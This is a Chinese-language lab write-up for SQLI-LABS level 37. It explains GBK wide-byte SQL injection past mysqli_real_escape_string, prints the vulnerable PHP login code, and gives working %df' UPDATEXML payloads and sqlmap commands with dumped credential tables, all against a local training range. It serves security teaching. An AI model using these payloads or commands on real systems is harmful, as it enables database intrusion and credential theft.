目錄
一、寬字符注入
二、sqlmap之unmagicquotes?
三、addslashes與mysqli_real_escape_string
四、源碼分析
1、代碼審計
2、SQL注入安全性分析
五、滲透實戰
1、進入靶場
2、正確用戶名密碼探測
3、手工注入(方法1)
(1)滲透準備
(2)獲取數據庫名
(3)獲取表名
(4)獲取列名
?(5)獲取數據
4、sqlmap滲透實戰(方法2)
5、sqlmap滲透實戰(方法3)?
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節使用3種方法(手工注入方法+2種腳本注入方法)對第37關Less 37基于POST型寬字符的SQL注入關卡進行滲透實戰。
一、寬字符注入
寬字節注入是一種利用數據庫字符集轉換風險的SQL注入技術,主要影響使用GBK、BIG5等多字節字符集的系統。其核心原理如下所示。
-
當系統使用addslashes或mysql_real_escape_string轉義單引號時,會添加反斜杠(\')。
-
在GBK編碼中,%df%5c可組成一個合法漢字"運"。
-
攻擊者構造%df',轉義后變為%df%5c%27,被解析為"運'"使單引號逃逸。
二、sqlmap之unmagicquotes?
SQLMap是一款功能強大的開源SQL注入自動化檢測與利用工具,提供tamper腳本繞過防護。其中unmagicquotes?是SQLMap中用于繞過PHP魔術引號(magic_quotes_gpc)防護的專用tamper腳本。當目標服務器開啟魔術引號時,會自動轉義特殊字符(如單引號變為'),該腳本會逆向解除這些轉義,確保注入語句保持原樣發送。
magic_quotes_gpc
?是 PHP 中的一個配置選項,它會自動對用戶輸入的數據進行轉義,在特殊字符(如單引號?'
、雙引號?"
、反斜杠?\
?和 NULL 字符)前添加反斜杠?\
。其目的是為了防止 SQL 注入攻擊,但在某些情況下可能會帶來不便,并且也不能完全防止所有類型的 SQL 注入。
三、addslashes與mysqli_real_escape_string
addslashes是PHP的基礎轉義函數,主要用于對單引號、雙引號、反斜杠和NULL字符添加轉義反斜杠。它簡單易用但存在明顯安全缺陷:不考慮數據庫字符集設置,無法防御寬字節注入攻擊,且轉義規則固定不變。由于其安全性不足,在數據庫操作中已不建議單獨使用,僅適合簡單的字符串處理場景。
mysqli_real_escape_string是MySQLi擴展提供的專業轉義函數,能夠根據當前數據庫連接的字符集(如UTF-8編碼,GBK編碼)進行智能轉義。它不僅轉義基礎特殊字符,還能有效防御寬字節注入等高級攻擊,轉義策略會動態適應數據庫字符集特性。作為更安全的解決方案,它必須建立在有效的數據庫連接基礎上使用,通常與預處理語句配合,為數據庫操作提供雙重防護。不過若字符集為 GBK/GB2312,某些情況下攻擊者仍可利用寬字節特性繞過轉義。
場景 | mysqli_real_escape_string 效果 | 是否存在款子字節注入風險 |
---|---|---|
字符集為 UTF-8 | 正確轉義所有特殊字符,無法形成寬字符組合 | 否 |
字符集為 GBK/GB2312 | 轉義符?\ ?可能被寬字節 “吃掉”,單引號逃逸 | 是 |
四、源碼分析
1、代碼審計
本關卡Less37是基于POST寬字符型的SQL注入關卡,打開對應的源碼index.php,如下所示。
Less37關卡的源碼功能是登錄頁面,與34關區別是對字符型參數轉義處理邏輯使用的函數不同,34關使用addslashes() 對參數id進行轉義處理,而37關使用mysqli_real_escape_string函數對id進行轉義處理,?具體區別如下所示。如下所示。
本關卡詳細注釋過的源碼如下所示。
<?php
// 包含MySQL連接參數文件
include("../sql-connections/sqli-connect.php");// 處理POST請求的用戶名和密碼
if(isset($_POST['uname']) && isset($_POST['passwd']))
{// 獲取原始輸入$uname1 = $_POST['uname'];$passwd1 = $_POST['passwd'];// 記錄原始輸入到日志文件(用于分析)$fp = fopen('result.txt', 'a');fwrite($fp, 'User Name:' . $uname1);fwrite($fp, 'Password:' . $passwd1 . "\n");fclose($fp);// 使用mysqli_real_escape_string對輸入進行轉義$uname = mysqli_real_escape_string($con1, $uname1);$passwd = mysqli_real_escape_string($con1, $passwd1);// 設置數據庫連接字符集為GBK(關鍵風險點)mysqli_query($con1, "SET NAMES gbk");// 構造SQL查詢語句(字符串拼接)@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";$result = mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);// 根據查詢結果顯示不同信息if($row){echo '<font color= "#FFFF00" font size = 4>';echo '<font size="3" color="#0000ff">'; echo "<br>";echo 'Your Login name:' . $row['username'];echo "<br>";echo 'Your Password:' . $row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg" />'; echo "</font>";}else {echo '<font color= "#0000ff" font size="3">';print_r(mysqli_error($con1)); // 輸出數據庫錯誤信息(可能泄露結構)echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />'; echo "</font>"; }
}// 顯示轉義后的用戶名和密碼(用于調試和提示)
echo "Hint: The Username you input is escaped as : " . $uname . "<br>";
echo "Hint: The Password you input is escaped as : " . $passwd . "<br>";
?>
本關卡是一個登錄頁面,接收 POST 提交的用戶名和密碼,用 mysqli_real_escape_string轉義后查詢數據庫,設置 gbk 字符集,存在寬字符注入風險,根本原因在于轉義后的反斜杠與寬字符組合導致單引號逃逸,核心功能如下所示。
-
用戶登錄功能:
- 通過 POST 表單接收用戶名(
uname
)和密碼(passwd
)。 - 使用
mysqli_real_escape_string()
函數轉義輸入中特殊字符(如單引號,雙引號),防止常規 SQL 注入。
- 通過 POST 表單接收用戶名(
- 數據庫配置:顯式設置字符集為?
gbk
,為寬字符注入創造條件。 - 數據庫報錯信息回顯:當 SQL 查詢失敗時,返回數據庫錯誤信息(如語法錯誤),可用于注入攻擊的錯誤提示。
- 調試提示:頁面底部顯示轉義后字符串及其十六進制形式,方便觀察
addslashes
的處理結果。 - 日志記錄:將用戶輸入的原始用戶名和密碼記錄到
result.txt
文件。
2、SQL注入安全性分析
本關卡具有寬字符注入風險,具體分析如下所示。
-
轉義邏輯缺陷:
- 轉義函數mysqli_real_escape_string()根據字符集gbk將單引號'轉義為\'(反斜杠 + 單引號),故而本關卡無法通過普通的單引號閉合進行SQL注入。
- 但當數據庫字符集為
gbk
時,反斜杠\
(ASCII 碼為?5C
)與后續字符可能組成一個寬字符,導致轉義后的單引號雖然被轉義卻仍然被“放掉”從而構成閉合。
- 注入流程:
- 輸入 payload:%df'(URL 編碼為 %df%27)。
- 單引號轉義后變為:\' URL 編碼為 %5C%27,%df'轉移后變為了%df%5C%27
。
- 在gbk字符集中,%df%5C 被解析為一個寬字符,%27(單引號)被保留。
五、滲透實戰
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://192.168.59.1/sqli-labs
點擊進入Page2,如下圖紅框所示。?
其中第37關在進階挑戰關卡“SQLi-LABS Page-2 (Adv Injections)”中,?點擊進入如下頁面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
點擊上圖紅框的Less37關卡,進入到靶場的第37關卡寬字符POST型注入關,這是一個登錄頁面,需要輸入用戶名和密碼,同時在頁面下方提示HINT信息“Hint: The Query String you input is escaped as :The Query String you input in Hex becomes?”,具體如下所示。
http://192.168.59.1/sqli-labs/Less-37
2、正確用戶名密碼探測
輸入用戶名admin,密碼mooyuan123456,bp開啟抓包,具體如下所示。
點擊登錄,頁面顯示用戶名和密碼,說明登錄成功,具體如下所示。
burpsuite抓包,?在burpsuite的歷史記錄中找到這個報文,抓包效果如下所示。
此時在報文request請求部分右鍵,選擇copy to file并保存為sqli-labs37.txt,如下所示。
3、手工注入(方法1)
(1)滲透準備
由于本關卡使用POST方法,為方便注入,將報文發送到repeater模塊,具體如下所示。
(2)獲取數據庫名
如下所示,以密碼為注入點進行滲透,數據庫的名稱為“security”。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+
(3)獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+
(4)獲取列名
如下所示,數據庫users表的列名分別為id,username,password。特別注意這里users表使用十六進制0x7573657273表示,因為'users'會被轉義,此時滲透成功。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME=0x7573657273),0x7e),1)--+
?(5)獲取數據
最后通過上一步獲取到的列名來提取users表的第一行的用戶名和密碼內容,這里符號:也被替換為0x3a,如下所示滲透成功。
mooyuan123456%df' AND UPDATEXML(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM users LIMIT 0,1),0x7e),1)--+
4、sqlmap滲透實戰(方法2)
?我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),其中-u參數指定目標URL地址,在uname=admin后面增加%df'的目標是指定閉合方式,星號*放在uname參數尾部則是指定注入點為id,完整的SQL注入命令如下所示。
sqlmap -r sqli-labs37.txt --current-db --dump --batch
其中sqli-labs37.txt中的注入點被修改為如下所示,pass參數后面增加了單引號星號,如下所示。
POST /sqli-labs/Less-37/ HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-37/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 46uname=admin%df'*&passwd=mooyuan123456&submit=Submit
sqlmap滲透成功,可以通過報錯法、時間盲注、聯合注入方法滲透成功,具體信息如下所示。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1006 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin%df' AND GTID_SUBSET(CONCAT(0x716a6a6b71,(SELECT (ELT(1693=1693,1))),0x7178717671),1693)-- ReAU&passwd=mooyuan123456&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin%df' AND (SELECT 2585 FROM (SELECT(SLEEP(5)))iGBs)-- Pgzs&passwd=mooyuan123456&submit=SubmitType: UNION queryTitle: Generic UNION query (NULL) - 2 columnsPayload: uname=admin%df' UNION ALL SELECT NULL,CONCAT(0x716a6a6b71,0x594646644a57714e52457a77705051555167726e457a725a675741654954514a4e7475584164584f,0x7178717671)-- -&passwd=mooyuan123456&submit=Submit
---
[04:03:28] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[04:03:29] [INFO] fetching current database
current database: 'security'Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+
5、sqlmap滲透實戰(方法3)?
通過模擬用戶提交的登錄數據(uname=admin&passwd=admin),嘗試使用tamper腳本?unmagicquotes
?繞過轉義機制,獲取當前數據庫信息并導出數據。具體命令如下所示。
sqlmap -u "http://192.168.59.1/sqli-labs/Less-37/" --data="uname=admin&passwd=admin&submit=Submit" --current-db --batch --dump --tamper unmagicquotes
- 探測URL:通過?
-u
?指定目標 URL 和參數。 - 獲取信息:用?
--current-db
?獲取當前數據庫名。 - 自動化執行:
--batch
?避免人工干預。 - 數據導出:
--dump
?導出數據庫內容。 - 指定POST參數:--data?構造 POST 參數,模擬用戶輸入的用戶名和密碼(
admin:admin
),submit=Submit
?為表單提交按鈕參數,sqlmap
?會基于此數據測試注入點,例如修改?admin
?為惡意 payload(如?admin' OR 1=1 --
) - 繞過防護:
--tamper unmagicquotes
?嘗試移除多余轉義。
如下所示,sqlmap滲透成功,可以通過聯合注入法、報錯法、布爾盲注、時間盲注方法滲透成功,具體信息如下所示。
POST parameter 'uname' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 136 HTTP(s) requests:
---
Parameter: uname (POST)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: uname=admin' OR NOT 6131=6131#&passwd=admin&submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: uname=admin' AND GTID_SUBSET(CONCAT(0x71767a7a71,(SELECT (ELT(4652=4652,1))),0x7162707071),4652)-- HOxG&passwd=admin&submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: uname=admin' AND (SELECT 7244 FROM (SELECT(SLEEP(5)))BuJi)-- AGab&passwd=admin&submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: uname=admin' UNION ALL SELECT NULL,CONCAT(0x71767a7a71,0x414a41737a56535377746a71435779465248727843684f6f4c4870706e725450494453794f6b7a79,0x7162707071)#&passwd=admin&submit=Submit
---
[04:08:36] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[04:08:36] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[04:08:36] [INFO] fetching current database
current database: 'security'
[04:08:36] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[04:08:36] [INFO] fetching current database
[04:08:36] [INFO] fetching tables for database: 'security'
[04:08:36] [INFO] fetching columns for table 'users' in database 'security'
[04:08:36] [INFO] fetching entries for table 'users' in database 'security'
Database: security
Table: users
[14 entries]
+----+---------------+----------------+
| id | password | username |
+----+---------------+----------------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | mooyuan123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
| 15 | 123456 | admin'#mooyuan |
+----+---------------+----------------+